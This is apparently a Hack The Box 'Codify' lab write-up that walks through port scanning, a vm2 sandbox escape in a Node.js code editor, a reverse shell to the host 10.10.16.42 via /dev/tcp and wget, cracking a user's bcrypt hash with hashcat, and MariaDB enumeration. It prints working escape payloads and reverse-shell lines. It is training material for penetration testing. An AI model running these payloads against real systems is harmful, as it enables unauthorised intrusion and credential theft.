Recon
Copy βββ(ghostγΏhtb-ops )-[~/htb/labs/codify]
ββ$ sudo nmap -sS -Pn -p- 10.129.64.131 -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 17:19 CST
Stats: 0:01:25 elapsed ; 0 hosts completed (1 up ), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 62.73% done ; ETC: 17:22 (0:00:51 remaining )
Stats: 0:05:41 elapsed ; 0 hosts completed (1 up ), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 94.35% done ; ETC: 17:25 (0:00:20 remaining )
Nmap scan report for 10.129.64.131
Host is up (0.16s latency ).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Looks like ppp is open, nothing else really to note:
Copy βββ(ghostγΏhtb-ops )-[~/htb/labs/codify]
ββ$ sudo nmap -sC -p 22,80,3000 10.129.64.131 -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 17:29 CST
Nmap scan report for 10.129.64.131
Host is up (0.064s latency ).
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| _ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http
| _http-title: Did not follow redirect to http://codify.htb/
3000/tcp open ppp
Adding codify.htb to /etc/hosts
Site looks like it's using Node.js as its framework along with Apache.
We have the following pages:
We see that the editor uses a library called vm2 - https://github.com/patriksimek/vm2/releases/tag/3.9.16 , version 3.9.16 to sandbox the Javascript code used in the editor, there is likely an escape mechanism we can use to leave the sandbox and access the host directly to try and gain a foothold.
Available modules:
Restricted Modules
Enumeration
While working with the editor, I'll be running dirsearch in the background:
Copy dirsearch -u http://codify.htb
Not much to write about:
Copy [17:36:32] Starting:
[17:36:40] 200 - 3KB - /About
[17:36:45] 200 - 3KB - /about
[17:37:04] 200 - 3KB - /editor
[17:37:04] 200 - 3KB - /editor/
[17:37:25] 403 - 275B - /server-status/
[17:37:25] 403 - 275B - /server-status
Running dirsearch with a better wordlist instead of deafault as well, just as a secondary measure:
Copy dirsearch -u http://codify.htb -t 100 -e js,txt,tar,gzip -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
If you need a set of Wordlists, I'd recommend Daniel Meissler's list which can be found here - https://github.com/danielmiessler/SecLists
Tinkering around with the editor we can get some responses by doing things like:
Searching for the sandbox we find a PoC which allows for arbitrary code execution:
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
I wasn't getting any response in the editor, so I started tinkering further and did some of the following:
Copy const {VM} = require ( "vm2" );
const vm = new VM ();
var os = require ( 'os' );
console.log( "test = " + os.hostname ());
console.log( "tmp = " + os.tmpdir ());
const code = `
err = {} ;
const handler = {
getPrototypeOf(target ) {
( function stack () {
new Error () .stack ;
stack () ;
})();
}
};
const proxiedErr = new Proxy ( err, handler );
try {
throw proxiedErr ;
} catch ({constructor: c}) {
//c.constructor('return process' )() .mainModule.require('child_process' ).execSync( 'bash+-i+>&+/dev/tcp/10.10.16.42/1337+)>&1' )
//c.constructor('return process' )().mainModule.require('child_process').execSync('bash -i >& /dev/tcp/10.10.16.42/1337 0>&1');
c.constructor(console.log('hello' ))
}
`
We could get some results back, but the code for my reverse shells were erroring out because it could not run the command .
Realized after trying to import fs , that even though child_process was a restricted module, we weren't receiving the following error in the block where our export code was running:
Copy Error: Module "fs" is not allowed
So it looks like whatever pieces we have in our exploit are probably running successfully on the victim machine.
Since we couldn't get a reverse shell off the bat, I tried seeing if we could force the editor to pull a file from my attacker system. So I setup my Python simple server:
Copy python - m http . server 80
And ran the following in the editor:
Copy const {VM} = require ( "vm2" );
const vm = new VM ();
const code = `
err = {} ;
const handler = {
getPrototypeOf(target ) {
( function stack () {
new Error () .stack ;
stack () ;
})();
}
};
const proxiedErr = new Proxy ( err, handler );
try {
throw proxiedErr ;
} catch ({constructor: c}) {
c.constructor('return process' )() .mainModule.require('child_process' ).execSync( 'wget 10.10.16.42:80/test.txt' )
}
`
console.log(vm.run(code ));
Looks like the file was being pulled successfully:
Since this worked, I tried adding a simple reverse shell to the file:
Copy βββ(ghostγΏhtb-ops )-[~/htb/labs/codify/www]
ββ$ cat rev.sh
#! /bin/bash
bash -i >& /dev/tcp/10.10.16.42/1337 0>&1
Tried seeing if I could pipe it through either sh or bash , neither worked.
Copy const {VM} = require ( "vm2" );
const vm = new VM ();
const code = `
err = {} ;
const handler = {
getPrototypeOf(target ) {
( function stack () {
new Error () .stack ;
stack () ;
})();
}
};
const proxiedErr = new Proxy ( err, handler );
try {
throw proxiedErr ;
} catch ({constructor: c}) {
//c.constructor('return process' )() .mainModule.require('child_process' ).execSync( 'wget 10.10.16.42:80/rev.sh | bash' );
c.constructor('return process' )().mainModule.require('child_process').execSync('/bin/bash ./rev.sh');
}
`
console.log(vm.run(code ));
We were able to get the reverse shell to run with c.constructor('return process')().mainModule.require('child_process').execSync('/bin/bash ./rev.sh');
Enumerating svc
Once on the system, I run the following:
Copy svc@codify:~$ cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
We see 3 users who have shell capabilities:
Copy svc@codify:~$ ss -nltp
ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:34553 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]: *
LISTEN 0 511 *:3000 *:* users: (( "PM2 v5.3.0: God" ,pid =1242,fd=20 ))
Reviewed what PM2 v5.3.0
was because I'm unfamiliar, and this is essentially the server that is hosting the node.js app.
Production process manager for Node.JS applications with a built-in load balancer. reference; https://www.jsdocs.io/package/pm2
Taking a look at running processes
Copy root 1232 1 0 Nov09 ? 00:00:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1629 1232 0 Nov09 ? 00:00:00 \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3306 -container-ip 172.19.0.2 -container-port 3306
svc 1242 1 0 Nov09 ? 00:00:15 PM2 v5.3.0: God Daemon (/home/svc/.pm2)
svc 1401 1242 0 Nov09 ? 00:00:18 \_ node /var/www/editor/index.js
svc 1403 1242 0 Nov09 ? 00:00:17 \_ node /var/www/editor/index.js
svc 1420 1242 0 Nov09 ? 00:00:20 \_ node /var/www/editor/index.js
svc 1424 1242 0 Nov09 ? 00:00:17 \_ node /var/www/editor/index.js
svc 1441 1242 0 Nov09 ? 00:00:18 \_ node /var/www/editor/index.js
svc 1455 1242 0 Nov09 ? 00:00:18 \_ node /var/www/editor/index.js
svc 2381 1455 0 01:25 ? 00:00:00 | \_ /bin/sh -c /bin/bash rev.sh
svc 2382 2381 0 01:25 ? 00:00:00 | \_ /bin/bash rev.sh
svc 2383 2382 0 01:25 ? 00:00:00 | \_ bash -i
svc 2425 2383 0 01:34 ? 00:00:00 | \_ ps -ef --forest
svc 1495 1242 0 Nov09 ? 00:00:19 \_ node /var/www/editor/index.js
svc 1501 1242 0 Nov09 ? 00:00:17 \_ node /var/www/editor/index.js
svc 1522 1242 0 Nov09 ? 00:00:14 \_ node /var/www/editor/index.js
svc 1537 1242 0 Nov09 ? 00:00:18 \_ node /var/www/editor/index.js
root 1552 1 0 Nov09 ? 00:00:00 /bin/sh /root/scripts/other/docker-startup.sh
root 1553 1552 0 Nov09 ? 00:00:07 \_ /usr/bin/python3 /usr/bin/docker-compose -f /root/scripts/docker/docker-compose.yml up
root 1657 1 0 Nov09 ? 00:00:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id f88b314ed6a4f84693267bda194d6266bdde5798ef5ccd082109b2566fda07f8 -address /run/containerd/containerd.sock
lxd 1679 1657 0 Nov09 ? 00:00:01 \_ mariadbd
Looks like there are some potential docker containers running, but they may be red herrings.
Checked the directory for ~/.pm2/
, wasn't really anything interesting:
Copy svc@codify:/var/www/contact$ ls -al ~/.pm2/
ls -al ~/.pm2/
total 260
drwxrwxr-x 5 svc svc 4096 Nov 9 23:15 .
drwxr-x--- 4 svc svc 4096 Nov 10 01:13 ..
-rw-rw-r-- 1 svc svc 70370 Sep 12 17:21 dump.pm2
-rw-rw-r-- 1 svc svc 84868 Sep 12 17:21 dump.pm2.bak
drwxrwxr-x 2 svc svc 4096 Sep 12 17:19 logs
-rw-rw-r-- 1 svc svc 2 Sep 12 17:19 module_conf.json
drwxrwxr-x 2 svc svc 4096 Sep 12 17:19 modules
drwxrwxr-x 2 svc svc 4096 Nov 9 23:15 pids
-rw-rw-r-- 1 svc svc 66916 Nov 9 23:15 pm2.log
-rw-r--r-- 1 svc svc 4 Nov 9 23:15 pm2.pid
srwxrwxr-x 1 svc svc 0 Nov 9 23:15 pub.sock
srwxrwxr-x 1 svc svc 0 Nov 9 23:15 rpc.sock
-rw-rw-r-- 1 svc svc 13 Sep 12 17:19 touch
Checked the logs
directory and it was just notifying us which port the app was being served on. Moved to the next semi-interesting place, /var/www/
to start enumerating the web app to see if there are files we might have missed during our initial scanning.
Sure enough, we find /var/www/contact/tickets.db
, running cat against the db we see a BRC4 hash of Joshua's password.
Copy joshua$2a$12$**redacting the rest**
Took the hash to my attacker machine and ran the following to crack the hash:
Copy βββ(ghostγΏhtb-ops )-[~/htb/labs/codify]
ββ$ hashcat -m 3200 pw.txt /usr/share/wordlists/rockyou.txt --username
Once the hash was cracked, I had to run:
Copy βββ(ghostγΏhtb-ops )-[~/htb/labs/codify]
ββ$ hashcat -m 3200 pw.txt /usr/share/wordlists/rockyou.txt --username --show
username; joshua password; spongebob1
Getting root
Starting off by looking to see if we can access sudo, or run anything with super user:
Copy joshua@codify:~$ sudo -l
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path = /usr/local/sbin \: /usr/local/bin \: /usr/sbin \: /usr/bin \: /sbin \: /bin \: /snap/bin, use_pty
User joshua may run the following commands on codify:
( root ) /opt/scripts/mysql-backup.sh
Looks like we can run the script /opt/scripts/mysql-backup.sh
We know that from the output of the script, that it is listening to port 3306.
Running linpeas we see that there is a Docker container hosted on this port:
Copy root 1629 0.0 0.0 1155824 2972 ? Sl Nov09 0:00 _ /usr/bin/docker ` 7-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3306 -container-ip 172.19.0.2 -container-port 3306
I tried telnet to access the host and received the following:
Copy joshua@codify:~$ telnet 172.19.0.2 3306
Trying 172.19.0.2...
Connected to 172.19.0.2.
Escape character is '^]' .
q
5.5.5-10.10.3-MariaDB-1:10.10.3+maria~ubu2204
S@(Eb > NO-~NKnh=9F2e*?mysql_native_password
Copy ipaddr = input ( "Enter the IP address of the mysql server: " )
while 1 :
subprocess . Popen ( "mysql --host= %s -u root mysql --password=blah" % (ipaddr), shell = True ). wait ()
We are able to connect to the database by running:
Copy joshua@codify:~$ mysql --host=172.19.0.2 --port=3306 --user=joshua --password=spongebob1
We can perform the following to enumerate the database:
Copy show databases ;
use < table_nam e > ;
show tables ;
s elect * from < table_nam e > ;
I see a user named passbolt which is interesting, we haven't seen this account anywhere else so far, except within the database tables.